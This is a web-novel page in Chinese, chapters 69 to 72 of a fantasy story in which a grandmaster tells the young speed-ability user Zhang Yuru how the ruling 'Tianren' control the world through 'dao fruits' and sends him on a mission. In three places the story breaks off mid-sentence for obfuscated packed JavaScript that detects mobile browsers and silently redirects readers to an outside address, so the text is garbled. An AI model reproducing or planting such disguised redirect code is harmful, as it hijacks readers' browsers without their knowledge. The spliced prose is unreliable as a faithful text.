张玉汝的心脏一点点沉到谷底,连呼吸都变得沉重起来。 他看着神秘人缓缓抬起的左手,那只手依旧瘦弱,却仿佛承载着整个天地的重量,再次朝着他的方向伸来。 这一次,他再也没有力气去反抗,甚至连调动一丝能量的能力都已失去,只能眼睁睁看着那只手越来越近,绝望如同潮水般将他彻底淹没…… 张玉汝紧闭双眼,做好了承受重创的准备。 可预想中的剧痛并未传来,取而代之的,是一只带着温热触感的手掌,轻轻拍在了他的肩膀上——力道不重,甚至带着几分安抚的意味,与刚才那股压迫感形成了强烈的反差。 他猛地睁开眼,瞳孔中满是难以置信的疑惑。 眼前的神秘人依旧是那副单薄的模样,灰色长袍上没有丝毫战斗的痕迹,只是刚才后退三步时沾了些尘土。 对方的手掌还搭在他的肩膀上,掌心传来的温度平和而稳定,没有丝毫恶意。 “我是秦戍,按辈分算的话,大概是你爷爷辈的人,你可以叫我秦爷爷。” 秦戍收回手掌,嘴角勾起一抹温和的笑意,原本如山岳般巍峨的压迫感瞬间消散,整个人看上去就像一位和蔼的长辈,与刚才那个轻易接下他全力一击的强者判若两人。 “老贼,要杀就杀,到了这种时候还要折辱我。”张玉汝心中瞬间燃起一股愤慨。 他可不相信,一个能轻易压制自己的大宗师,会无缘无故地对自己摆出这副熟络姿态。 可他没有将这份愤慨表现出来。 经历了种种生死危机,张玉汝早已学会了隐藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看着秦戍认真的眼神,知道对方接下来要说的话,或许会彻底改变他对这场战争、甚至对自己能力的认知。 可他心中的警惕依旧没有放下,毕竟,眼前这位大宗师的心思,远比李巡天更加难以揣测…… 秦戍看着张玉汝依旧紧绷的肩膀,以及眼底未散的警惕,没有再多说什么解释的话。 他只是缓缓抬起头,目光望向远方战场的方向,仿佛透过漫天烟尘,看到了某个熟悉的身影。 片刻后,才慢悠悠开口,语气里带着几分回忆的暖意,还有一丝老友间特有的调侃:“姜南云是我的老朋友,几十年前闯荡时,我们就一起并肩过。我最早便是从他那里知道了你,这老家伙,每次喝酒的时候都没少跟我炫耀。” 这句话说得平淡,没有刻意强调什么,却像一把钥匙,瞬间打开了张玉汝心中警惕的锁。 姜南云,是他在这世上最信任的人。 他太熟悉姜南云的性格——看似随性不羁,却从不会轻易在外人面前炫耀,若真如秦戍所说,他会在酒桌上反复提及自己,那足以说明两人的关系绝非普通朋友,而是能交心的至交。 原本紧绷的身体,在听到“姜南云”三个字的瞬间,便不自觉地放松了几分。 肩膀不再僵硬地绷紧,手臂上因警惕而隆起的肌肉也缓缓舒展,连呼吸都比之前平稳了许多。 眼底的警惕如同被阳光驱散的浓雾,渐渐淡去。 他低头看了看自己还在流血的右臂,疼痛感似乎都减轻了几分。 刚才面对秦戍时的绝望与戒备,此刻已消散大半——若是姜南云的老朋友,那对方之前的“试身手”,或许真的只是长辈对晚辈的考验,而非恶意的打压。 那句“有些事你该知道了”,也未必是陷阱,而是真的想提醒自己什么。 “您……认识我爷爷?”张玉汝的声音不再像之前那样冰冷紧绷,反而多了几分迟疑与确认的意味。 他抬起头,看向秦戍的眼神里,终于少了几分敌意,多了几分探寻。 秦戍收回望向远方的目光,转头看向张玉汝,嘴角又勾起了那抹温和的笑:“何止是认识?当年我被仇家追杀,还是他拖着伤体,硬生生把我从**堆里救出来的。” 说着,他还从怀里掏出一个巴掌大的木牌,递到张玉汝面前。 木牌上刻着一道简单的云纹,边缘有些磨损,显然是随身携带了多年。 “这是当年我们一起闯荡时,他送给我的护身符,你应该见过吧?他身上也有一块一模一样的,只是比这个大些。” 张玉汝的目光落在木牌上,瞳孔微微一缩——他确实见过这木牌。 此刻看到秦戍手中的木牌,他心中最后一丝提防也彻底烟消云散。 秦戍见他彻底放松下来,脸上的笑意更浓了几分。 他收起木牌,指了指旁边一块相对平整的岩石,说道:“你这手臂的伤得处理一下,别硬撑着。坐下说吧,有些事,确实该让你知道了。” 张玉汝没有犹豫,点了点头,走到岩石旁坐下。 第 70章 秘闻 两人分别在岩石两端坐下,张玉汝忍着右臂的隐痛,将受伤的手臂轻轻搭在膝盖上,目光落在秦戍身上。 他没有急着追问战争的秘密或能力的关联,而是先稳住心神,声音平静地开口:“您有什么事情想要告诉我?” 秦戍闻言,右手下意识地摸了摸下巴,指腹蹭过下巴上淡淡的胡茬,眼神微微放空,像是在梳理繁杂的思绪,一时间没有开口。 空气中只剩下远处战场传来的隐约嘶吼,气氛又变得有些安静。 张玉汝看着他沉思的模样,心中略过一丝疑惑,忍不住追问:“是在思考那些事情不方便让我知道吗?” “不,我只是在想,到底哪些事情是你不知道的。”秦戍依旧保持着摸下巴的姿势,语气里带着几分漫不经心,眼神却悄悄瞟向张玉汝,带着一丝不易察觉的戏谑。 张玉汝闻言,额角瞬间滑下几道黑线。 他没想到都到这个时候了,这位大宗师还在拿他开涮——明明是对方说有重要的事要讲,现在反倒反过来“刁难”起他来了。 他忍不住翻了个隐晦的白眼,心中暗自腹诽:“大宗师都这么喜欢捉弄晚辈吗?” “哈哈哈,看你这么严肃,活跃一下气氛嘛。”秦戍终于绷不住,爽朗的笑声在空旷的场地里响起,原本沉稳的气质瞬间多了几分随和。 “不过说真的,我确实不知道你已经了解了多少,又还有哪些盲区。这样吧,与其我东一榔头西一棒子地说,不如你直接问——有什么想知道的,尽管开口。” 秦戍原本以为,张玉汝会第一时间追问“异兽的秘密”“自己能力的特殊之处”这类关键问题,毕竟这些才是他此次拦人的核心目的。 可出乎他意料的是,张玉汝沉默片刻后,问出的却是一个看似无关紧要的问题:“在我从李巡天的领域当中逃脱的时候,是您出手帮我了吗?” 这个问题让秦戍微微一怔,随即眼中的欣赏之色更浓了几分。 他原以为张玉汝会急于探寻宏大的秘密,却没想到对方如此心思缜密,先从自己亲身经历的细节入手,验证心中的疑虑。 他收起笑容,点了点头,坦然承认:“不错,我确实出手了。李巡天的天幕感知本就敏锐,你伪装的手段虽然巧妙,但久了难免会露出破绽。我当时在远处,悄悄用能量干扰了他的一部分感知,遮住了你与周围环境的细微差异,让他没有注意到那些本该注意到的异常。” 听到这个答案,张玉汝心中积压的疑惑终于得到了解释。 他之前就隐隐觉得不对劲——李巡天毕竟是大宗师级别的强者,就算再谨慎,也不该被一个“燃烧本源的虚影”骗那么久。 他的「融身自然」与微型领域虽然隐蔽,但绝非无懈可击,如今想来,正是秦戍的暗中相助,才让他的逃脱计划彻底成功。 “李巡天以为他瞒得很好,偷偷调动本源力量对付你,还觉得能骗过所有人。”秦戍说起李巡天,语气里多了几分嘲讽,眼神也冷了下来。 “但其实他的一切举动都在我的视线当中——从他给分身输送能量,到布设天幕枷锁,再到后来被你的虚影迷惑,每一步都没逃过我的眼睛。绝大多数情况下,不是他在瞒着别人,反倒是我在瞒着他。” 张玉汝闻言,心中对秦戍的认知又深了一层——这位大宗师看似随和,实则心思缜密,早已将战场的各方动静尽收眼底,只是一直没有表露而已。 关于秦戍是如何悄无声息干扰李巡天感知,又是如何轻易封禁自己能力的,张玉汝没有追问。 对于这些问题并非不好奇,恰恰相反,这两个问题像钩子一样挠着他的心,尤其是“能力封禁”的手段,对他而言几乎是全新的领域,若能知晓原理,或许能让他的战斗能力再上一个台阶。 可他比谁都清楚,世界上没有免费的午餐。 他愿意相信秦戍与姜南云的友情真挚,毕竟那块云纹木牌与提及姜南云时的熟稔语气做不了假。 但这份私人情谊,终究只是私人情谊。 秦戍于他而言,首先是大宗师、长安镇守,是手握西北军政大权的顶尖人物,其次才是“爷爷的老友”。 前两个身份的权重,在此时此刻显然更重。 老友的“孙子”落难,秦戍出手帮一把,是情分;可若要将压箱底的手段、涉及重大事件的核心秘密透露给他,便是超出情分的“优待”。 张玉汝很清楚,这种优待不会凭空而来。 秦戍之前试他身手、如今愿意解答疑问,绝非单纯出于旧情,必然是有需要他做的事情——天下没有无缘无故的示好,尤其在这种时候。 所以,他压下了心中翻涌的好奇,没有顺着“战争秘密”“能力关联”的话题追问,而是抬眼看向秦戍,眼神清明而坦诚:“您需要我做些什么?” 秦戍听到这话,原本搭在膝盖上的手微微一顿,随即缓缓抬起头,看向张玉汝的目光里,欣赏之色几乎要溢出来。 他缓缓点头,语气里带着毫不掩饰的赞许:“不错,看来你确实是个聪明人,一点就透,比那些空有天赋却拎不清的年轻人强多了。” 他身体微微前倾,姿态比之前更显郑重:“我的确需要你做一些事情,而且这件事,除了你,目前没几个人能做到。不过在说正事之前——我可以免费送你几个问题,关于你想知道的,只要不涉及军政机密,我都能告诉你。” 张玉汝心中一暖,也不再纠结“等价交换”的顾虑。 他深吸一口气,压下心中的急切,尽量让自己的声音保持平稳,却还是难掩语气里的牵挂:“我爷爷……姜南云,他现在身在何处?还安全吗?” 自从姜南云离开之后,他最担心的便是他的安危。 之前一路躲避天人的追杀始终无暇他顾,如今见到秦戍这位“知情人”,积压的担忧终于有了出口。 他紧紧盯着秦戍的嘴唇,连呼吸都下意识放缓,生怕错过任何一个字。 秦戍的眼神柔和了几分,却还是轻轻摇了摇头:“我没有办法给你一个确切的答案。你爷爷两年前离开长安后,就去了西南边境的‘裂隙之地’,那里是异兽出现的源头之一,信号被严重干扰,连我也无法确定他具体的位置。” 张玉汝的心瞬间沉了下去,眼中刚燃起的光亮又黯淡了几分。 可没等他失落太久,秦戍又补充道:“不过你不用太担心,他目前应该还是安全的。他离开前,在我这里留下了一枚‘生命玉符’,玉符至今还亮着,能确定他的生命状态稳定,没有遭遇致命危险。” “呼——”张玉汝长长地松了一口气,紧绷的肩膀彻底垮了下来,连手臂的疼痛感都仿佛减轻了不少。 虽然没能知道姜南云的具体位置,但若能确定他暂时安全,对他而言已是极大的安慰。他对着秦戍微微拱手,语气里带着真切的感激:“多谢秦大宗师告知,这份恩情,晚辈记在心里了。” 秦戍看着张玉汝因得知姜南云安全而明显放松的眉眼,指尖轻轻敲击着膝盖,嘴角勾起一抹浅淡却意味深长的笑:“先别急着谢我。接下来要说的事,非同小可——你可以选择听,也可以选择不听。但我必须提前告诉你,一旦你知道了这些事,就再也没有置身事外的余地,必须参与其中。给你半柱香时间,想清楚了再给我答复。” 他的语气很轻,却带着不容置疑的郑重,眼神也从之前的随和变得锐利起来,仿佛在审视张玉汝是否有承担秘密的勇气。 远处战场的嘶吼声隐约传来,风吹过岩石缝隙,发出细微的呜咽声,让此刻的氛围多了几分凝重。 可张玉汝没有丝毫犹豫,甚至没等秦戍话音落下,便立刻点头,语气坚定:“大宗师吩咐便是,晚辈无需思考。” 他垂下眼帘,看着自己受伤的右臂——光是秦戍愿意告知姜南云的安危,这份情分就足以让他答应任何要求。 更何况,从秦戍之前的话语里,他能隐约察觉到,这件事或许与姜南云的去向、甚至西南边境的“裂隙之地”有关。 只要能离爷爷更近一步,哪怕前路再危险,他也绝不会退缩。 秦戍显然没料到他会如此干脆,眼中闪过一丝讶异。 他沉默片刻,缓缓开口:“既然你这么痛快,那我也不绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709963|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈子了。先问你一个问题——你对于天人,怎么看?” 张玉汝听到“天人”二字,眉头微微一皱,脑海中瞬间闪过与天人宗师交手时的回忆——那些肆意妄为、视人命如草芥的姿态,还有之前接触过的其他天人能力者身上那股与生俱来的傲慢。 他沉吟片刻,组织着语言:“从实力来看,天人的平均水准远高于普通能力者。他们的晋升速度更快,仿佛天生就握着能力进化的钥匙;同样的能力在他们手中,威力往往能翻倍。在低阶和中阶层面,天人对常规能力者几乎占据压倒性优势。” 他顿了顿,又补充道:“但也有例外——天人中位阶较高的存在,比如宗师级别的天人,在同级别战斗中似乎并没有绝对优势。” 秦戍听得很认真,手指轻轻摩挲着下巴,又追问道:“其他方面呢?比如性格、行事作风这些。” “自大傲慢,目中无人。”张玉汝的声音冷了几分,眼神里带着一丝难以掩饰的厌恶。 “他们总觉得自己是超脱凡俗的高等生物,看待普通能力者时,眼神就像在看蝼蚁,既没把别人当人,也没把自己放在‘人’的范畴里——仿佛生来就该享受特权,不需要遵守任何规则。” “你说的很对。”秦戍重重点头,语气里带着几分嘲讽。 “他们当中的绝大多数,不过是含着金汤匙出生的蠢货,靠着血脉传承的优势站在高处,却连基本的敬畏心都没有。” 可话音刚落,他的语气便陡然一转,变得沉重起来:“但你要知道,目前的情况是,这群蠢货,才是整个神州国,乃至整个世界的实际统治者。” “别觉得不可思议。”秦戍靠在岩石上,目光望向远方被战火染红的天空。 “他们当中的确大多是废物,可你不能因此轻视他们。 因为在这群废物里,藏着少部分真正的狠角色——他们不仅实力强悍,更擅长布局算计,牢牢掌控着世界的资源、权力,还有……关于异兽与能力者的真相。那些人,以及他们背后隐藏的力量,才是真正的关键。” 张玉汝眉头紧锁,脑海中飞速运转。 他想起天人的嚣张,想起之前听闻的天人掌控各大资源的传闻,心中突然冒出一个猜测:“您是说,天人背后有隐藏的泰斗级能力者?是那些顶级强者在支撑他们的统治?” 在他的认知里,唯有泰斗级别的力量,才能压服整个世界,成为统治的基石。 毕竟在这个异兽横行的混乱时代,唯有绝对的力量才能震慑一切。 可秦戍却缓缓摇了摇头,语气平淡得像是在说一件微不足道的小事,却抛出了一个石破天惊的消息:“不,并不是。或许在你看来很不可思议,但目前为止,天人当中,并不存在泰斗级能力者。哪怕是天人族群里位阶最高的存在,也只停留在大宗师巅峰的水准,离泰斗级还有一道无法逾越的鸿沟。” “什么?”张玉汝猛地抬头,眼中满是难以置信的震惊,身体不自觉地前倾了几分。 他甚至怀疑自己听错了——没有泰斗级能力者的天人,凭什么统治世界? 威望?德行?利益捆绑?这些在绝对的力量面前,根本不堪一击。 天人们连基本的“人味”都没有,又何来威望与德行? 至于利益,一旦没有足够的力量支撑,那些被他们压榨的普通能力者、基地市势力,早就该奋起反抗了。 在这个朝不保夕、拳头硬才是真理的世界,唯有泰斗级能力者才能带来的“绝对压制力”,才是统治的核心。 可秦戍却说,天人没有泰斗级? 张玉汝张了张嘴,想要追问,却又不知从何问起。他盯着秦戍平静的脸,试图从中找到“玩笑”的痕迹。 可秦戍的眼神无比认真——他没有必要在这种关乎世界格局的问题上欺骗自己,毕竟这对他没有任何好处。 一股更深的疑惑涌上张玉汝心头:既然天人没有泰斗级强者,那他们究竟是依靠什么,牢牢掌控着整个世界的统治权?又是什么,让他们有底气在与异兽作战的同时,还忙着内斗、顺带算计针对自己这样的普通能力者? 第 71章 道果 看着张玉汝瞳孔骤缩、身体微微发颤的震惊模样,秦戍脸上没有丝毫意外,反而露出了一抹感同身受的浅笑。 他指尖轻轻敲击着岩石表面,眼神渐渐放空,像是透过眼前的虚空,看到了几十年前的自己。 那时他刚从师父郑一口中得知这个秘密,比张玉汝此刻还要失态,当场打翻了手边的茶盏,滚烫的茶水溅在手上都浑然不觉。 “不用觉得难以置信,当年我第一次听到这话时,反应比你还大。”秦戍的语气带着几分回忆的悠远。 “天人们高高在上,既不会团结普通能力者,也无半分德行可言,行事全凭喜好,连‘人’的基本共情都没有,说他们是‘拟人生物’都算客气。” “可就是这样一群家伙,却能稳稳掌控世界统治权这么多年,任谁都会觉得,他们背后一定有泰斗级能力者撑着——毕竟在这个世界,唯有绝对的力量才能压服一切。” 他顿了顿,继续说道:“过去我也无数次好奇这个问题:没有泰斗级能力者的天人,凭什么能成为凌驾众生的特权阶级?” “就算他们当中有实力极强的大宗师巅峰,可大宗师终究是大宗师,与泰斗级之间隔着一道天堑,根本不是一个量级。后来是我的师父,也就是当世泰斗郑一,才解开了我的疑惑。” 提到“郑一”这个名字时,秦戍的语气不自觉地恭敬了几分,眼神里也多了几分崇敬:“我师父一生最厌恶的就是天人的傲慢与霸道,可他终其一生,也没能摆脱天人的牵制,甚至不得不接受他们统治国家的事实。” “他告诉我,天人真正的依仗,从不是个体实力,而是他们掌握的‘规则’——那些本该只存在于天地间、抽象无形的世界本源规则,被他们用某种特殊手段,硬生生具现化了。” “具现化的世界规则?”张玉汝终于找回了自己的声音,只是语气里还带着一丝不易察觉的颤抖。 他下意识地攥紧了拳头,指尖发凉——他从未想过,能力的上限竟能达到“掌控规则”的地步。 “没错,那是天人们最强大的武器。”秦戍的眼神变得凝重起来。 “凭借这些规则,他们能限制泰斗级能力者的力量,让泰斗级强者空有一身本领却无法施展;更可怕的是,若是他们不惜代价,甚至能以规则崩坏为代价,直接夺走泰斗级能力者的性命。” 张玉汝深吸一口气,强行压下心中的惊涛骇浪,追问道:“那这些规则具体有什么效果?天人又是如何掌控它们的?” 秦戍却缓缓摇了摇头,语气里带着一丝无奈:“关于天人如何具现、掌控这些规则,就算是我师父那样的泰斗,也没能摸清门路——那是天人最深的秘密,只在他们内部核心族群中传承,外人连窥探的资格都没有。不过,这些规则的作用,我倒是能跟你说清楚。” 他身体微微前倾,目光紧紧锁住张玉汝,像是要确保每一个字都能被他听进去:“你应该也发现了,现在对能力者类型的划分其实并不精准。” “比如火焰类能力者,有人擅长燃烧,有人擅长**,还有人能操控火焰释放光亮、传递温煦;而光明类能力者,同样能释放光亮、带来温暖——这种能力特质的重叠,常常让能力界定变得模糊。” 张玉汝下意识地点头,他自己的「造化之眼」与「颠倒」等能力,就很难被归入常规的能力分类中。 “其实,真正划分能力者类型的依据,是最初觉醒时产生的‘觉醒能量’。”秦戍继续解释。 “那是能力者与天地规则最初的连接,决定了能力的基础方向。” “但这并不意味着能力与能量性质会一成不变——随着能力者对‘道’的理解不断加深,他们会逐渐走出属于自己的道路,而能力与能量,也会随着道路的延伸而进化、改变。” 张玉汝对于这种情况很了解,因为他自己就是这样的。 他从‘速度之道’出发,初期只是单纯提升移动速度,后来却能掌控变化速度,进化出「刹那」「颠倒」这类能力。 “有人从‘力量之道’起步,最终却能一拳破碎虚空。”秦戍举了个例子,眼神里带着几分向往。 “只要在自己的道路上走得足够远,就能一步步晋升大师、宗师、大宗师;而想要成为泰斗,就必须彻底掌握一条独属于自己的‘道’,让自己的意志与道的本源相融。” 说到这里,他话锋一转,重新落回天人身上:“而天人掌控的那些规则,其实就是无数条‘道’的终极形态——如果用玄幻点的说法,可以称之为‘道果’。天地间几乎所有已出现的道果,都被天人牢牢掌控在手中;就算有新的道途诞生,用不了多久,也会被他们察觉并纳入掌控范围。” 张玉汝的心脏猛地一沉:“您是说,泰斗级能力者掌握的‘道’,其实都在天人的掌控之中?” “不全是,但也差不多。”秦戍叹了口气。 “天人虽然无法像泰斗那样,自由运用道果的力量,但他们能通过道果,限制那些与道果相关的泰斗。比如一位掌控‘空间之道’的泰斗,若是他的道果被天人掌控,天人只需催动道果,就能让他的空间能力出现紊乱。” 他顿了顿,又补充道:“更可怕的是,很多泰斗级能力者在踏上自己的道路时,根本不知道终点的道果早已被天人掌控。” “他们一路披荆斩棘,好不容易触及泰斗之境,却发现自己从一开始就落入了天人的圈套——这些泰斗受到的限制最大,在一定程度上,甚至会被天人的意志左右,不敢轻易与天人作对。” “那难道就没有不受控的泰斗吗?”张玉汝急切地问道。 “有,只是很少。”秦戍的语气缓和了几分。 “有些运气好的泰斗,走出的道路是天人从未触及的,道果也属于全新的存在,暂时不会被天人掌控。” “但即便如此,他们也不敢轻易与天人撕破脸——因为相近的道果之间会相互影响,就算他们的道果独属于自己,一旦天人催动相近的道果,他们的能力也会受到波及。与其冒险对抗,不如保持制衡,这是大多数泰斗的选择。” “原来如此……”张玉汝喃喃自语,心中的疑惑终于解开。 天人之所以能成为世界的实际统治者,靠的不是个体实力,而是对“道果”的垄断——他们用道果束缚了世界上最强大的泰斗级能力者,让这些顶级强者无法全力反抗,自然就能稳稳掌控统治权。 可新的疑惑又涌上心头:“如果连泰斗都要受天人限制,那这世界上,还有谁能对抗他们?” 秦戍听到这话,突然笑了起来,眼神里带着几分狡黠:“傻小子,受到限制不代表就要听命于他们。” “大多数时候,泰斗与天人之间是相互制衡的关系。” “你以为天人真的敢随意动用道果斩杀泰斗吗?没那么简单——想要用道果消灭一位泰斗,至少要搭上三到五个同类型的道果。” “而那些拥有道果的天人家族,个个自私自利,为了争夺资源斗得你死我活,又怎么可能愿意为了别人,牺牲自己家族的核心道果?” 他摊了摊手,语气里满是嘲讽:“这世界上,又有谁是真正无私的呢?天人的统治看似稳固,其实早就被家族利益、道果争夺蛀空了。只要找到他们的破绽,未必就没有反抗的机会——而这,就是我找你的原因。” “这和我有什么关系吗?”张玉汝皱着眉问道,语气里带着一丝难以掩饰的茫然。 他很清楚自己与天人的仇怨,李巡天的追杀、天幕枷锁的围困,每一次都让他险死还生。 可泰斗级强者尚且要在天人的规则下周旋,他不过是个刚晋升不久的宗师级能力者,就算有「加速世界」「颠倒世界」这些强大的能力,又能在对抗天人的棋局里,扮演什么角色呢? “小子,别妄自菲薄。”秦戍看出了他的不自信,伸手拍了拍他的肩膀,语气郑重,“你身上藏着的可能性,远比你自己想象的要大得多——甚至可能是打破当前僵局的关键。” 他重新坐直身体,开始细致讲解,每一个字都带着不容置疑的认真:“你应该明白,每一种类型的能力,都对应着天地间特定的道果。” “比如火焰类能力对应‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723101|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焚尽之道’等道果,大地类能力对应‘承载之道’‘稳固之道’等。'' “随着世界不断发展,新的道途会不断出现,道果的数量也会逐渐增多。天人虽然垄断了绝大多数道果,但不同能力大类中,他们掌控的道果数目差异极大。” “而天人对某类能力者的影响力、干涉力,恰恰与他们掌握的该类道果数目挂钩。”秦戍举了个例子。 “就像神州国的天人,最擅长掌控的是大地、水流、火焰、天空这四大类道果——他们手中握着这四类里七成以上的核心道果。” “所以,这四类能力者想要反抗天人难如登天:大地类能力者想操控土石,天人能通过道果让土壤变成‘虚无’;火焰类能力者想释放火焰,天人能让火焰瞬间‘熄灭’。” “就算这些人侥幸晋升泰斗,也会被道果死死限制,根本发挥不出真正的实力。” 张玉汝听得心头一沉,下意识地想起了李巡天操控天幕的能力——原来对方能如此轻易地调动天空能量,是因为天人掌握了大量天空类道果。 “但除了这几类,还有些能力大类,天人掌控的道果极少。” 秦戍的语气突然变得激昂起来,目光紧紧锁住张玉汝。 “比如力量类——天**多依赖血脉传承的能力,很少有人愿意花费时间淬炼肉身,所以他们手中的力量类道果不足一成。这也是为什么我的师父郑一泰斗,是目前存世泰斗中受天人限制最小的——他的‘破灭之道’道果,天人根本无法掌控,自然也就无法干涉他的力量。” 说到这里,秦戍故意停顿了一下,看着张玉汝的眼睛,一字一句地说道:“而天人掌握的速度类道果也同样稀少,虽然具体少到什么程度无法计算,但绝对比力量类很少” “速度之道本就讲究‘极致’与‘突破’,需要能力者不断突破自身极限,甚至不惜燃烧生命,这种苦,养尊处优的天人根本吃不了。所以,速度类道果成了天人最大的‘短板’。” “当然,天人控制道果的方法我无法确定,这只是从能力者的角度来分析,或许正确,也或许是错误的,但无论如何,天人缺少这种类型的道果是事实。” 张玉汝的心脏猛地一跳,似乎隐约猜到了秦戍的意思。 “你没猜错。”秦戍笑了笑,语气里带着一丝期待。 “只要再出现一名速度类泰斗,局势就会有极大的改变。” “所以,所有有潜力的速度类能力者,都是天人的‘眼中钉’——他们会不惜一切代价将这些人扼杀在摇篮里;同时,这些人也是泰斗们的‘希望’——泰斗们会地保护、扶持他们。” 秦戍的目光变得柔和起来,“其他人我不清楚,但我师父郑一泰斗,还有北斗院的元天成泰斗,早就把目光放在了你身上。” “这次我出手帮你摆脱李巡天,的确是看了姜南云的面子,但实际上,也是受了我师父的指示——他要我确保你活着,还要确保你能继续走下去。” 秦戍的话音落下时,张玉汝垂在身侧的手悄然握紧,指尖传来一丝冰凉的触感。 他抬起头,看向远处战场上空盘旋的异兽,目光有些放空,脑海里却在快速梳理着这段时间的经历。 从李巡天的追杀,到秦戍的突然出现;从最初的警惕,到得知姜南云安全后的放松;再到此刻,终于明白自己被泰斗们“盯上”的真正原因。 原来如此。 他心中那点残存的疑惑,终于彻底消散。 秦戍的帮助、郑一泰斗的关注、元天成泰斗的潜在支持,从来都不是单纯因为姜南云的情面,更不是出于对“晚辈”的善意扶持。 本质上,是他身上那“速度类能力者的潜力”,是他可能成为“打破天人统治关键”的价值,才让这些站在世界顶端的人物,向他伸出了援手。 世界上从来没有无缘无故的爱,也没有无缘无故的善意。 这句话,张玉汝从小在孤儿院就懂,被姜南云收养后,爷爷虽给了他温暖,却也从未回避过现实的残酷——想要获得尊重,想要得到庇护,终究要靠自己的价值。 第 72章 身世 张玉汝缓缓收回望向远方战场的目光,视线重新落回秦戍身上。 他的指尖轻轻舒展开,之前因震惊和疑惑而紧绷的身体彻底放松下来,眼神里的茫然早已褪去,取而代之的是一种清醒的坦然。 那是一种看透“价值交换”规则后,不再纠结、不再矫情的沉稳。 没有失望,也没有愤怒。 他很清楚,这不是秦戍或泰斗们的恶意利用,而是成年人世界里最直白也最真实的法则:你有被需要的价值,别人才会愿意为你付出资源、提供庇护;你能创造的价值越大,才会被更强大的力量纳入羽翼之下。 如今泰斗们愿意出手相助,本质上也是因为他的速度类能力,承载着打破天人统治的希望。 想通这一点,张玉汝心中最后一丝犹豫也烟消云散。 他看着秦戍,声音平静得没有一丝波澜,仿佛刚才那个因“天人无泰斗”而震惊、因“自身渺小”而疑惑的青年已经悄然蜕变:“所以,您要我做的事情,既和‘速度道果’有关,也和对抗天人有关,对吗?” 秦戍看着他眼中的通透,嘴角的笑意更深了几分,带着毫不掩饰的欣赏:“你很聪明,没有沉溺在‘被泰斗看重’的错觉里,也没有抱怨‘被利用’——这份清醒,比你的能力更难得。” 他身体微微前倾,语气变得郑重起来,每一个字都清晰地传入张玉汝耳中:“没错,这件事,目前来看只有你能做。” “西南边境的‘裂隙之地’,你应该听说过吧?那里不只是异兽源源不断出现的源头,更藏着一枚极其珍贵的速度类道果碎片——那是元天成泰斗早年在探查裂隙时偶然发现的,一直被天人死死盯着。” “天人为什么不自己取走?”张玉汝敏锐地抓住了关键,轻声问道。 “因为他们取不走。”秦戍摇了摇头,解释道。 “速度类道果碎片蕴含的能量极其特殊,需要纯粹的速度类能力才能与之共鸣,稍有不慎就会引发能量**,彻底摧毁碎片。” “天人麾下的速度类能力者本就稀少,还都是根基不稳的家伙,根本无法掌控这种纯粹的速度能量。这些年,他们只能派重兵把裂隙之地围起来,既不让别人靠近,也在慢慢寻找能掌控碎片的人。” 说到这里,秦戍的语气顿了顿,眼神里多了几分复杂的情绪:“姜南云这次去裂隙之地,对外说是调查异兽源头,实则是受了元天成泰斗的托付——他要去暗中保护那枚道果碎片,防止天人找到突破口。” “可最近这段时间,天人那边似乎察觉到了什么,派了不少高手过去,甚至连李巡天的族兄都出动了。若是让他们抢先拿到碎片,就算暂时用不了,也会把碎片封存起来,彻底断绝速度类泰斗出现的可能。” 张玉汝听到“姜南云”的名字时,心脏微微一紧,眼神瞬间变得坚定。他没有丝毫犹豫,直接开口问道:“您需要我做些什么?” “我需要你潜入裂隙之地,想办法将那枚道果碎片带出来。”秦戍的语气斩钉截铁。 “姜南云现在应该还在牵制天人的注意力,但他一个人撑不了太久。你速度快,还有隐藏自己的手段,最适合执行这种潜入任务。” “而且你的速度类能力纯粹,是目前唯一能安全掌控道果碎片的人。” 顿了顿,秦戍又补充道:“不过有一点要提前跟你说清楚——为了避免打草惊蛇,让天人察觉到我们的计划,这一路上你不会得到任何明面上的帮助,所有行动都要靠你自己。” “如果你有什么其他方面的要求,比如需要资源,现在可以提出来,只要我能做到,都会帮你解决。” 张玉汝没有立刻回答,他微微垂眸。 片刻后,他抬起头,眼神认真地看着秦戍:“我没有其他资源需求,只希望夏侯雪的安全能够得到保证。” 秦戍愣了一下,显然没料到张玉汝的要求会如此简单,且无关自身利益。 他看着张玉汝眼中的恳切,心中对这个年轻人的评价又高了几分。 他当即点头,语气肯定:“你放心,在你从西南回来之前,我会派出自己的分身,暗中守在附近,确保夏侯雪的安全。等你完成任务,我会把她接到我的镇守府,那里是最安全的地方。” “多谢大宗师。”张玉汝真诚地拱手道谢,心中的最后一丝顾虑也彻底放下。 “还有别的要求吗?”秦戍问道。 张玉汝沉默了片刻,像是下定了某种决心,缓缓开口:“我还有一个问题,希望能得到您的答案。爷爷曾经跟我说过,等到我有了一定的实力,能够保护自己之后,再告诉我关于我身世的一些东西。” “如今我已经是宗师级能力者,又即将前往裂隙之地,生死难料,所以想问问您——我的身世,是否有什么特殊之处?” 这个问题,困扰了他很多年。从他记事起,就只知道自己是被姜南云收养的孩子,关于亲生父母他一无所知。 如今即将踏上险途,他希望能在临行前,至少知道自己的身世是否藏着秘密——哪怕这个秘密会带来新的麻烦。 